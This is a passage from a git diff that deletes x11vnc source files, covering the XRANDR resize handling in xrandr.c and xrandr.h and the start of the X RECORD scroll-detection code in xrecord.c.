-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- xrandr.c -- */
-
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "connections.h"
-#include "remote.h"
-#include "screen.h"
-#include "win_utils.h"
-
-time_t last_subwin_trap = 0;
-int subwin_trap_count = 0;
-XErrorHandler old_getimage_handler;
-
-int xrandr_present = 0;
-int xrandr_width = -1;
-int xrandr_height = -1;
-int xrandr_rotation = -1;
-Time xrandr_timestamp = 0;
-Time xrandr_cfg_time = 0;
-
-void initialize_xrandr(void);
-int check_xrandr_event(char *msg);
-int known_xrandr_mode(char *s);
-
-static int handle_subwin_resize(char *msg);
-static void handle_xrandr_change(int new_x, int new_y);
-
-
-void initialize_xrandr(void) {
- if (xrandr_present && dpy) {
-#if LIBVNCSERVER_HAVE_LIBXRANDR
- Rotation rot;
-
- X_LOCK;
- xrandr_width = XDisplayWidth(dpy, scr);
- xrandr_height = XDisplayHeight(dpy, scr);
- XRRRotations(dpy, scr, &rot);
- xrandr_rotation = (int) rot;
- if (xrandr || xrandr_maybe) {
- XRRSelectInput(dpy, rootwin, RRScreenChangeNotifyMask);
- } else {
- XRRSelectInput(dpy, rootwin, 0);
- }
- X_UNLOCK;
-#endif
- } else if (xrandr) {
- rfbLog("-xrandr mode specified, but no RANDR support on\n");
- rfbLog(" display or in client library. Disabling -xrandr "
- "mode.\n");
- xrandr = 0;
- }
-}
-
-static int handle_subwin_resize(char *msg) {
- int new_x, new_y;
- int i, check = 10, ms = 250; /* 2.5 secs total... */
-
- if (msg) {} /* unused vars warning: */
- if (! subwin) {
- return 0; /* hmmm... */
- }
- if (! valid_window(subwin, NULL, 0)) {
- rfbLogEnable(1);
- rfbLog("subwin 0x%lx went away!\n", subwin);
- X_UNLOCK;
- clean_up_exit(1);
- }
- if (! get_window_size(subwin, &new_x, &new_y)) {
- rfbLogEnable(1);
- rfbLog("could not get size of subwin 0x%lx\n", subwin);
- X_UNLOCK;
- clean_up_exit(1);
- }
- if (wdpy_x == new_x && wdpy_y == new_y) {
- /* no change */
- return 0;
- }
-
- /* window may still be changing (e.g. drag resize) */
- for (i=0; i < check; i++) {
- int newer_x, newer_y;
- usleep(ms * 1000);
-
- if (! get_window_size(subwin, &newer_x, &newer_y)) {
- rfbLogEnable(1);
- rfbLog("could not get size of subwin 0x%lx\n", subwin);
- clean_up_exit(1);
- }
- if (new_x == newer_x && new_y == newer_y) {
- /* go for it... */
- break;
- } else {
- rfbLog("subwin 0x%lx still changing size...\n", subwin);
- new_x = newer_x;
- new_y = newer_y;
- }
- }
-
- rfbLog("subwin 0x%lx new size: x: %d -> %d, y: %d -> %d\n",
- subwin, wdpy_x, new_x, wdpy_y, new_y);
- rfbLog("calling handle_xrandr_change() for resizing\n");
-
- X_UNLOCK;
- handle_xrandr_change(new_x, new_y);
- return 1;
-}
-
-static void handle_xrandr_change(int new_x, int new_y) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- RAWFB_RET_VOID
-
- /* assumes no X_LOCK */
-
- /* sanity check xrandr_mode */
- if (! xrandr_mode) {
- xrandr_mode = strdup("default");
- } else if (! known_xrandr_mode(xrandr_mode)) {
- free(xrandr_mode);
- xrandr_mode = strdup("default");
- }
- rfbLog("xrandr_mode: %s\n", xrandr_mode);
- if (!strcmp(xrandr_mode, "exit")) {
- close_all_clients();
- rfbLog(" shutting down due to XRANDR event.\n");
- clean_up_exit(0);
- }
- if (!strcmp(xrandr_mode, "newfbsize") && screen) {
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (cl->useNewFBSize) {
- continue;
- }
- rfbLog(" closing client %s (no useNewFBSize"
- " support).\n", cl->host);
- rfbCloseClient(cl);
- rfbClientConnectionGone(cl);
- }
- rfbReleaseClientIterator(iter);
- }
-
- /* default, resize, and newfbsize create a new fb: */
- rfbLog("check_xrandr_event: trying to create new framebuffer...\n");
- if (new_x < wdpy_x || new_y < wdpy_y) {
- check_black_fb();
- }
- do_new_fb(1);
- rfbLog("check_xrandr_event: fb WxH: %dx%d\n", wdpy_x, wdpy_y);
-}
-
-int check_xrandr_event(char *msg) {
- XEvent xev;
-
- RAWFB_RET(0)
-
- /* it is assumed that X_LOCK is on at this point. */
-
- if (subwin) {
- return handle_subwin_resize(msg);
- }
-#if LIBVNCSERVER_HAVE_LIBXRANDR
- if (! xrandr_present) {
- return 0;
- }
- if (! xrandr && ! xrandr_maybe) {
- return 0;
- }
-
-
- if (xrandr_base_event_type && XCheckTypedEvent(dpy,
- xrandr_base_event_type + RRScreenChangeNotify, &xev)) {
- int do_change, qout = 0;
- static int first = 1;
- XRRScreenChangeNotifyEvent *rev;
-
- rev = (XRRScreenChangeNotifyEvent *) &xev;
-
- if (first && ! xrandr) {
- fprintf(stderr, "\n");
- if (getenv("X11VNC_DEBUG_XRANDR") == NULL) {
- qout = 1;
- }
- }
- first = 0;
-
- rfbLog("check_xrandr_event():\n");
- rfbLog("Detected XRANDR event at location '%s':\n", msg);
-
- if (qout) {
- ;
- } else {
- rfbLog(" serial: %d\n", (int) rev->serial);
- rfbLog(" timestamp: %d\n", (int) rev->timestamp);
- rfbLog(" cfg_timestamp: %d\n", (int) rev->config_timestamp);
- rfbLog(" size_id: %d\n", (int) rev->size_index);
- rfbLog(" sub_pixel: %d\n", (int) rev->subpixel_order);
- rfbLog(" rotation: %d\n", (int) rev->rotation);
- rfbLog(" width: %d\n", (int) rev->width);
- rfbLog(" height: %d\n", (int) rev->height);
- rfbLog(" mwidth: %d mm\n", (int) rev->mwidth);
- rfbLog(" mheight: %d mm\n", (int) rev->mheight);
- rfbLog("\n");
- rfbLog("check_xrandr_event: previous WxH: %dx%d\n",
- wdpy_x, wdpy_y);
- }
-
- if (wdpy_x == rev->width && wdpy_y == rev->height &&
- xrandr_rotation == (int) rev->rotation) {
- rfbLog("check_xrandr_event: no change detected.\n");
- do_change = 0;
- if (! xrandr) {
- rfbLog("check_xrandr_event: "
- "enabling full XRANDR trapping anyway.\n");
- xrandr = 1;
- }
- } else {
- do_change = 1;
- if (! xrandr) {
- rfbLog("check_xrandr_event: Resize; "
- "enabling full XRANDR trapping.\n");
- xrandr = 1;
- }
- }
-
- xrandr_width = rev->width;
- xrandr_height = rev->height;
- xrandr_timestamp = rev->timestamp;
- xrandr_cfg_time = rev->config_timestamp;
- xrandr_rotation = (int) rev->rotation;
-
- if (! qout) rfbLog("check_xrandr_event: updating config...\n");
- XRRUpdateConfiguration(&xev);
-
- if (do_change) {
- /* under do_change caller normally returns before its X_UNLOCK */
- X_UNLOCK;
- handle_xrandr_change(rev->width, rev->height);
- }
- if (qout) {
- return do_change;
- }
- rfbLog("check_xrandr_event: current WxH: %dx%d\n",
- XDisplayWidth(dpy, scr), XDisplayHeight(dpy, scr));
- rfbLog("check_xrandr_event(): returning control to"
- " caller...\n");
-
-
- return do_change;
- }
-#else
- xev.type = 0;
-#endif
-
-
- return 0;
-}
-
-int known_xrandr_mode(char *s) {
-/*
- * default:
- * resize: the default
- * exit: shutdown clients and exit.
- * newfbsize: shutdown clients that do not support NewFBSize encoding.
- */
- if (strcmp(s, "default") && strcmp(s, "resize") &&
- strcmp(s, "exit") && strcmp(s, "newfbsize")) {
- return 0;
- } else {
- return 1;
- }
-}
-
-
diff --git a/x11vnc/xrandr.h b/x11vnc/xrandr.h
deleted file mode 100644
index 3f898f6..0000000
--- a/x11vnc/xrandr.h
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_XRANDR_H
-#define _X11VNC_XRANDR_H
-
-/* -- xrandr.h -- */
-
-extern time_t last_subwin_trap;
-extern int subwin_trap_count;
-extern XErrorHandler old_getimage_handler;
-
-extern int xrandr_present;
-extern int xrandr_width;
-extern int xrandr_height;
-extern int xrandr_rotation;
-extern Time xrandr_timestamp;
-extern Time xrandr_cfg_time;
-
-extern void initialize_xrandr(void);
-extern int check_xrandr_event(char *msg);
-extern int known_xrandr_mode(char *s);
-
-#define XRANDR_SET_TRAP_RET(x,y) \
- if (subwin || xrandr) { \
- trapped_getimage_xerror = 0; \
- old_getimage_handler = XSetErrorHandler(trap_getimage_xerror); \
- if (check_xrandr_event(y)) { \
- trapped_getimage_xerror = 0; \
- XSetErrorHandler(old_getimage_handler); \
- X_UNLOCK; \
- return(x); \
- } \
- }
-#define XRANDR_CHK_TRAP_RET(x,y) \
- if (subwin || xrandr) { \
- if (trapped_getimage_xerror) { \
- if (subwin) { \
- static int last = 0; \
- subwin_trap_count++; \
- if (time(NULL) > last_subwin_trap + 60) { \
- rfbLog("trapped GetImage xerror" \
- " in SUBWIN mode. [%d]\n", \
- subwin_trap_count); \
- last_subwin_trap = time(NULL); \
- last = subwin_trap_count; \
- } \
- if (subwin_trap_count - last > 30) { \
- /* window probably iconified */ \
- usleep(1000*1000); \
- } \
- } else { \
- rfbLog("trapped GetImage xerror" \
- " in XRANDR mode.\n"); \
- } \
- trapped_getimage_xerror = 0; \
- XSetErrorHandler(old_getimage_handler); \
- XFlush_wr(dpy); \
- check_xrandr_event(y); \
- X_UNLOCK; \
- return(x); \
- } \
- }
-
-#endif /* _X11VNC_XRANDR_H */
diff --git a/x11vnc/xrecord.c b/x11vnc/xrecord.c
deleted file mode 100644
index 87e15b9..0000000
--- a/x11vnc/xrecord.c
+++ /dev/null
@@ -1,2084 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- xrecord.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "win_utils.h"
-#include "cleanup.h"
-#include "userinput.h"
-#include "winattr_t.h"
-#include "scrollevent_t.h"
-#include "unixpw.h"
-
-#define SCR_EV_MAX 128
-scroll_event_t scr_ev[SCR_EV_MAX];
-int scr_ev_cnt;
-
-int xrecording = 0;
-int xrecord_set_by_keys = 0;
-int xrecord_set_by_mouse = 0;
-Window xrecord_focus_window = None;
-Window xrecord_wm_window = None;
-Window xrecord_ptr_window = None;
-KeySym xrecord_keysym = NoSymbol;
-
-#define NAMEINFO 2048
-char xrecord_name_info[NAMEINFO];
-
-#define SCR_ATTR_CACHE 8
-winattr_t scr_attr_cache[SCR_ATTR_CACHE];
-static double attr_cache_max_age = 1.5;
-
-Display *rdpy_data = NULL; /* Data connection for RECORD */
-Display *rdpy_ctrl = NULL; /* Control connection for RECORD */
-
-Display *gdpy_ctrl = NULL;
-Display *gdpy_data = NULL;
-int xserver_grabbed = 0;
-
-int trap_record_xerror(Display *, XErrorEvent *);
-
-void initialize_xrecord(void);
-void zerodisp_xrecord(void);
-void shutdown_xrecord(void);
-int xrecord_skip_keysym(rfbKeySym keysym);
-int xrecord_skip_button(int newb, int old);
-int xrecord_scroll_keysym(rfbKeySym keysym);
-void check_xrecord_reset(int force);
-void xrecord_watch(int start, int setby);
-
-
-#if LIBVNCSERVER_HAVE_RECORD
-static XRecordRange *rr_CA = NULL;
-static XRecordRange *rr_CW = NULL;
-static XRecordRange *rr_GS = NULL;
-static XRecordRange *rr_scroll[10];
-static XRecordContext rc_scroll;
-static XRecordClientSpec rcs_scroll;
-static XRecordRange *rr_grab[10];
-static XRecordContext rc_grab;
-static XRecordClientSpec rcs_grab;
-#endif
-static XErrorEvent *trapped_record_xerror_event;
-
-static void xrecord_grabserver(int start);
-static int xrecord_vi_scroll_keysym(rfbKeySym keysym);
-static int xrecord_emacs_scroll_keysym(rfbKeySym keysym);
-static int lookup_attr_cache(Window win, int *cache_index, int *next_index);
-#if LIBVNCSERVER_HAVE_RECORD
-static void record_CA(XPointer ptr, XRecordInterceptData *rec_data);
-static void record_CW(XPointer ptr, XRecordInterceptData *rec_data);
-static void record_switch(XPointer ptr, XRecordInterceptData *rec_data);
-static void record_grab(XPointer ptr, XRecordInterceptData *rec_data);
-static void shutdown_record_context(XRecordContext rc, int bequiet, int reopen);
-#endif
-static void check_xrecord_grabserver(void);
-
-
-int trap_record_xerror(Display *d, XErrorEvent *error) {
- trapped_record_xerror = 1;
- trapped_record_xerror_event = error;
-
- if (d) {} /* unused vars warning: */
-
- return 0;
-}
-
-static void xrecord_grabserver(int start) {
- XErrorHandler old_handler = NULL;
- int rc = 0;
-
- if (debug_grabs) {
- fprintf(stderr, "xrecord_grabserver%d/%d %.5f\n",
- xserver_grabbed, start, dnowx());
- }
-
- if (! gdpy_ctrl || ! gdpy_data) {
- return;
- }
-#if LIBVNCSERVER_HAVE_RECORD
- if (!start) {
- if (! rc_grab) {
- return;
- }
- XRecordDisableContext(gdpy_ctrl, rc_grab);
- XRecordFreeContext(gdpy_ctrl, rc_grab);
- XFlush_wr(gdpy_ctrl);
- rc_grab = 0;
- return;
- }
-
- xserver_grabbed = 0;
-
- rr_grab[0] = rr_GS;
- rcs_grab = XRecordAllClients;
-
- rc_grab = XRecordCreateContext(gdpy_ctrl, 0, &rcs_grab, 1, rr_grab, 1);
- trapped_record_xerror = 0;
- old_handler = XSetErrorHandler(trap_record_xerror);
-
- XSync(gdpy_ctrl, True);
-
- if (! rc_grab || trapped_record_xerror) {
- XCloseDisplay_wr(gdpy_ctrl);
- XCloseDisplay_wr(gdpy_data);
- gdpy_ctrl = NULL;
- gdpy_data = NULL;
- XSetErrorHandler(old_handler);
- return;
- }
- rc = XRecordEnableContextAsync(gdpy_data, rc_grab, record_grab, NULL);
- if (!rc || trapped_record_xerror) {
- XCloseDisplay_wr(gdpy_ctrl);
- XCloseDisplay_wr(gdpy_data);
- gdpy_ctrl = NULL;
- gdpy_data = NULL;
- XSetErrorHandler(old_handler);
- return;
- }
- XFlush_wr(gdpy_data);
- XSetErrorHandler(old_handler);
-#else
- if (!rc || !old_handler) {}
-#endif
- if (debug_grabs) {
- fprintf(stderr, "xrecord_grabserver-done: %.5f\n", dnowx());
- }
-}
-
-void zerodisp_xrecord(void) {
- rdpy_data = NULL;
- rdpy_ctrl = NULL;
- gdpy_data = NULL;
- gdpy_ctrl = NULL;
-}
-
-void initialize_xrecord(void) {
- use_xrecord = 0;
- if (! xrecord_present) {
- return;
- }
- if (nofb) {
- return;
- }
- if (noxrecord) {
- return;
- }
- RAWFB_RET_VOID
-#if LIBVNCSERVER_HAVE_RECORD
-
- if (rr_CA) XFree_wr(rr_CA);
- if (rr_CW) XFree_wr(rr_CW);
- if (rr_GS) XFree_wr(rr_GS);
-
- rr_CA = XRecordAllocRange();
- rr_CW = XRecordAllocRange();
- rr_GS = XRecordAllocRange();
- if (!rr_CA || !rr_CW || !rr_GS) {
- return;
- }
- /* protocol request ranges: */
- rr_CA->core_requests.first = X_CopyArea;
- rr_CA->core_requests.last = X_CopyArea;
-
- rr_CW->core_requests.first = X_ConfigureWindow;
- rr_CW->core_requests.last = X_ConfigureWindow;
-
- rr_GS->core_requests.first = X_GrabServer;
- rr_GS->core_requests.last = X_UngrabServer;
-
- X_LOCK;
- /* open a 2nd control connection to DISPLAY: */
- if (rdpy_data) {
- XCloseDisplay_wr(rdpy_data);
- rdpy_data = NULL;
- }
- if (rdpy_ctrl) {
- XCloseDisplay_wr(rdpy_ctrl);
- rdpy_ctrl = NULL;
- }
- rdpy_ctrl = XOpenDisplay_wr(DisplayString(dpy));
- if (!rdpy_ctrl) {
- fprintf(stderr, "rdpy_ctrl open failed: %s / %s / %s / %s\n", getenv("DISPLAY"), DisplayString(dpy), getenv("XAUTHORITY"), getenv("XAUTHORIT_"));
- }
- XSync(dpy, True);
- XSync(rdpy_ctrl, True);
- /* open datalink connection to DISPLAY: */
- rdpy_data = XOpenDisplay_wr(DisplayString(dpy));
- if (!rdpy_data) {
- fprintf(stderr, "rdpy_data open failed\n");
- }
- if (!rdpy_ctrl || ! rdpy_data) {
- X_UNLOCK;
- return;
- }
- disable_grabserver(rdpy_ctrl, 0);
- disable_grabserver(rdpy_data, 0);
-
- use_xrecord = 1;
-
- /*
- * now set up the GrabServer watcher. We get GrabServer
- * deadlock in XRecordCreateContext() even with XTestGrabServer
- * in place, why? Not sure, so we manually watch for grabs...
- */
- if (gdpy_data) {
- XCloseDisplay_wr(gdpy_data);
- gdpy_data = NULL;
- }
- if (gdpy_ctrl) {
- XCloseDisplay_wr(gdpy_ctrl);
- gdpy_ctrl = NULL;
- }
- xserver_grabbed = 0;
-
- gdpy_ctrl = XOpenDisplay_wr(DisplayString(dpy));
- if (!gdpy_ctrl) {
- fprintf(stderr, "gdpy_ctrl open failed\n");
- }
- XSync(dpy, True);
- XSync(gdpy_ctrl, True);
- gdpy_data = XOpenDisplay_wr(DisplayString(dpy));
- if (!gdpy_data) {
- fprintf(stderr, "gdpy_data open failed\n");
- }
- if (gdpy_ctrl && gdpy_data) {
- disable_grabserver(gdpy_ctrl, 0);
- disable_grabserver(gdpy_data, 0);
- xrecord_grabserver(1);
- }
- X_UNLOCK;
-#endif
-}
-
-void shutdown_xrecord(void) {
-#if LIBVNCSERVER_HAVE_RECORD
-
- if (debug_grabs) {
- fprintf(stderr, "shutdown_xrecord%d %.5f\n",
- xserver_grabbed, dnowx());
- }
-
- if (rr_CA) XFree_wr(rr_CA);
- if (rr_CW) XFree_wr(rr_CW);
- if (rr_GS) XFree_wr(rr_GS);
-
- rr_CA = NULL;
- rr_CW = NULL;
- rr_GS = NULL;
-
- X_LOCK;
- if (rdpy_ctrl && rc_scroll) {
- XRecordDisableContext(rdpy_ctrl, rc_scroll);
- XRecordFreeContext(rdpy_ctrl, rc_scroll);
- XSync(rdpy_ctrl, False);
- rc_scroll = 0;
- }
-
- if (gdpy_ctrl && rc_grab) {
- XRecordDisableContext(gdpy_ctrl, rc_grab);
- XRecordFreeContext(gdpy_ctrl, rc_grab);
- XSync(gdpy_ctrl, False);
- rc_grab = 0;
- }
-
- if (rdpy_data) {
- XCloseDisplay_wr(rdpy_data);
- rdpy_data = NULL;
- }
- if (rdpy_ctrl) {
- XCloseDisplay_wr(rdpy_ctrl);
- rdpy_ctrl = NULL;
- }
- if (gdpy_data) {
- XCloseDisplay_wr(gdpy_data);
- gdpy_data = NULL;
- }
- if (gdpy_ctrl) {
- XCloseDisplay_wr(gdpy_ctrl);
- gdpy_ctrl = NULL;
- }
- xserver_grabbed = 0;
- X_UNLOCK;
-#endif
- use_xrecord = 0;
-
- if (debug_grabs) {
- fprintf(stderr, "shutdown_xrecord-done: %.5f\n", dnowx());
- }
-}
-
-int xrecord_skip_keysym(rfbKeySym keysym) {
- KeySym sym = (KeySym) keysym;
- int ok = -1, matched = 0;
-
- if (scroll_key_list) {
- int k, exclude = 0;
- if (scroll_key_list[0]) {
- exclude = 1;
- }
- k = 1;
- while (scroll_key_list[k] != NoSymbol) {
- if (scroll_key_list[k++] == sym) {
- matched = 1;
- break;
- }
- }
- if (exclude) {
- if (matched) {
- return 1;
- } else {
- ok = 1;
- }
- } else {
- if (matched) {
- ok = 1;
- } else {
- ok = 0;
- }
- }
- }
- if (ok == 1) {
- return 0;
- } else if (ok == 0) {
- return 1;
- }
-
- /* apply various heuristics: */
-
- if (IsModifierKey(sym)) {
- /* Shift, Control, etc, usu. generate no scrolls */
- return 1;
- }
- if (sym == XK_space && scroll_term) {
- /* space in a terminal is usu. full page... */
- Window win;
- static Window prev_top = None;
- int size = 256;
- static char name[256];
-
- X_LOCK;
- win = query_pointer(rootwin);
- X_UNLOCK;
- if (win != None && win != rootwin) {
- if (prev_top != None && win == prev_top) {
- ; /* use cached result */
- } else {
- prev_top = win;
- X_LOCK;
- win = descend_pointer(6, win, name, size);
- X_UNLOCK;
- }
- if (match_str_list(name, scroll_term)) {
- return 1;
- }
- }
- }
-
- /* TBD use typing_rate() so */
- return 0;
-}
-
-int xrecord_skip_button(int new_button, int old) {
- /* unused vars warning: */
- if (new_button || old) {}
-
- return 0;
-}
-
-static int xrecord_vi_scroll_keysym(rfbKeySym keysym) {
- KeySym sym = (KeySym) keysym;
- if (sym == XK_J || sym == XK_j || sym == XK_K || sym == XK_k) {
- return 1; /* vi */
- }
- if (sym == XK_D || sym == XK_d || sym == XK_U || sym == XK_u) {
- return 1; /* Ctrl-d/u */
- }
- if (sym == XK_Z || sym == XK_z) {
- return 1; /* zz, zt, zb .. */
- }
- return 0;
-}
-
-static int xrecord_emacs_scroll_keysym(rfbKeySym keysym) {
- KeySym sym = (KeySym) keysym;
- if (sym == XK_N || sym == XK_n || sym == XK_P || sym == XK_p) {
- return 1; /* emacs */
- }
- /* Must be some more ... */
- return 0;
-}
-
-int xrecord_scroll_keysym(rfbKeySym keysym) {
- KeySym sym = (KeySym) keysym;
- /* X11/keysymdef.h */
-
- if (sym == XK_Return || sym == XK_KP_Enter || sym == XK_Linefeed) {
- return 1; /* Enter */
- }
- if (sym==XK_Up || sym==XK_KP_Up || sym==XK_Down || sym==XK_KP_Down) {
- return 1; /* U/D arrows */
- }
- if (sym == XK_Left || sym == XK_KP_Left || sym == XK_Right ||
- sym == XK_KP_Right) {
- return 1; /* L/R arrows */
- }
- if (xrecord_vi_scroll_keysym(keysym)) {
- return 1;
- }
- if (xrecord_emacs_scroll_keysym(keysym)) {
- return 1;
- }
- return 0;
-}
-
-static int lookup_attr_cache(Window win, int *cache_index, int *next_index) {
- double now, t, oldest = 0.0;
- int i, old_index = -1, count = 0;
- Window cwin;
-
- *cache_index = -1;
- *next_index = -1;
-
- if (win == None) {
- return 0;
- }
- if (attr_cache_max_age == 0.0) {
- return 0;
- }
-
- dtime0(&now);
- for (i=0; i < SCR_ATTR_CACHE; i++) {
-
- cwin = scr_attr_cache[i].win;
- t = scr_attr_cache[i].time;
-
- if (now > t + attr_cache_max_age) {
- /* expire it even if it is the one we want */
- scr_attr_cache[i].win = cwin = None;
- scr_attr_cache[i].fetched = 0;
- scr_attr_cache[i].valid = 0;
- }
-
- if (*next_index == -1 && cwin == None) {
- *next_index = i;
- }
- if (*next_index == -1) {
- /* record oldest */
- if (old_index == -1 || t < oldest) {
- oldest = t;
- old_index = i;
- }
- }
- if (cwin != None) {
- count++;
- }
- if (cwin == win) {
- if (*cache_index == -1) {
- *cache_index = i;
- } else {
- /* remove dups */
- scr_attr_cache[i].win = None;
- scr_attr_cache[i].fetched = 0;
- scr_attr_cache[i].valid = 0;
- }
- }
- }
- if (*next_index == -1) {
- *next_index = old_index;
- }
-
-if (0) fprintf(stderr, "lookup_attr_cache count: %d\n", count);
- if (*cache_index != -1) {
- return 1;
- } else {
- return 0;
- }
-}
-
-
-static XID xrecord_seq = 0;
-static double xrecord_start = 0.0;
-
-#if LIBVNCSERVER_HAVE_RECORD
-static void record_CA(XPointer ptr, XRecordInterceptData *rec_data) {
- xCopyAreaReq *req;
- Window src = None, dst = None, c;
- XWindowAttributes attr, attr2;
- int src_x, src_y, dst_x, dst_y, rx, ry, rx2, ry2;
- int good = 1, dx = 0, dy = 0, k=0, i;
- unsigned int w, h;
- int dba = 0, db = debug_scroll;
- int cache_index, next_index, valid;
- static int must_equal = -1;
-
- if (dba || db) {
- if (rec_data->category == XRecordFromClient) {
- req = (xCopyAreaReq *) rec_data->data;
- if (req->reqType == X_CopyArea) {
- src = req->srcDrawable;
- dst = req->dstDrawable;
- }
- }
- }
-
-if (dba || db > 1) fprintf(stderr, "record_CA-%d id_base: 0x%lx ptr: 0x%lx "
- "seq: 0x%lx rc: 0x%lx cat: %d swapped: %d 0x%lx/0x%lx\n", k++,
- rec_data->id_base, (unsigned long) ptr, xrecord_seq, rc_scroll,
- rec_data->category, rec_data->client_swapped, src, dst);
-
- if (! xrecording) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CA-%d\n", k++);
-
- if (rec_data->id_base == 0) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CA-%d\n", k++);
-
- if ((XID) ptr != xrecord_seq) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CA-%d\n", k++);
-
- if (rec_data->category != XRecordFromClient) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CA-%d\n", k++);
-
- req = (xCopyAreaReq *) rec_data->data;
-
- if (req->reqType != X_CopyArea) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CA-%d\n", k++);
-
- if (must_equal < 0) {
- must_equal = 0;
- if (getenv("X11VNC_SCROLL_MUST_EQUAL")) {
- must_equal = 1;
- }
- }
-
-/*
-
-xterm, gnome-terminal, others.
-
-Note we miss the X_ImageText8 that clears the block cursor. So there is a
-short period of time with a painting error: two cursors, one above the other.
-
- X_ImageText8
- draw: 0x8c00017 nChars: 1, gc: 0x8c00013, x: 101, y: 585, chars=' '
- X_ClearArea
- window: 0x8c00018, x: 2, y: 217, w: 10, h: 5
- X_FillPoly
- draw: 0x8c00018 gc: 0x8c0000a, shape: 0, coordMode: 0,
- X_FillPoly
- draw: 0x8c00018 gc: 0x8c0000b, shape: 0, coordMode: 0,
- X_CopyArea
- src: 0x8c00017, dst: 0x8c00017, gc: 0x8c00013, srcX: 17, srcY: 15, dstX: 17, dstY: 2, w: 480, h: 572
- X_ChangeWindowAttributes
- X_ClearArea
- window: 0x8c00017, x: 17, y: 574, w: 480, h: 13
- X_ChangeWindowAttributes
-
- */
-
- src = req->srcDrawable;
- dst = req->dstDrawable;
- src_x = req->srcX;
- src_y = req->srcY;
- dst_x = req->dstX;
- dst_y = req->dstY;
- w = req->width;
- h = req->height;
-
- if (w*h < (unsigned int) scrollcopyrect_min_area) {
- if (db > 1) fprintf(stderr, "record_CA scroll area too small.\n");
- good = 0;
- } else if (!src || !dst) {
- if (db > 1) fprintf(stderr, "record_CA null src or dst.\n");
- good = 0;
- } else if (scr_ev_cnt >= SCR_EV_MAX) {
- if (db > 1) fprintf(stderr, "record_CA null too many scr events.\n");
- good = 0;
- } else if (must_equal && src != dst) {
- if (db > 1) fprintf(stderr, "record_CA src not equal dst.\n");
- good = 0;
- }
-
- if (src == dst) {
- dx = dst_x - src_x;
- dy = dst_y - src_y;
-
- if (dx != 0 && dy != 0) {
- good = 0;
- }
- }
-
-if (!good && (dba || db > 1)) fprintf(stderr, "record_CA-x src_x: %d src_y: %d "
- "dst_x: %d dst_y: %d w: %d h: %d scr_ev_cnt: %d 0x%lx/0x%lx\n",
- src_x, src_y, dst_x, dst_y, w, h, scr_ev_cnt, src, dst);
-
- if (! good) {
- return;
- }
-
-if (db > 1) fprintf(stderr, "record_CA-%d\n", k++);
-
- /*
- * after all of the above succeeds, now contact X server.
- * we try to get away with some caching here.
- */
- if (lookup_attr_cache(src, &cache_index, &next_index)) {
- i = cache_index;
- attr.x = scr_attr_cache[i].x;
- attr.y = scr_attr_cache[i].y;
- attr.width = scr_attr_cache[i].width;
- attr.height = scr_attr_cache[i].height;
- attr.map_state = scr_attr_cache[i].map_state;
- rx = scr_attr_cache[i].rx;
- ry = scr_attr_cache[i].ry;
- valid = scr_attr_cache[i].valid;
-
- } else {
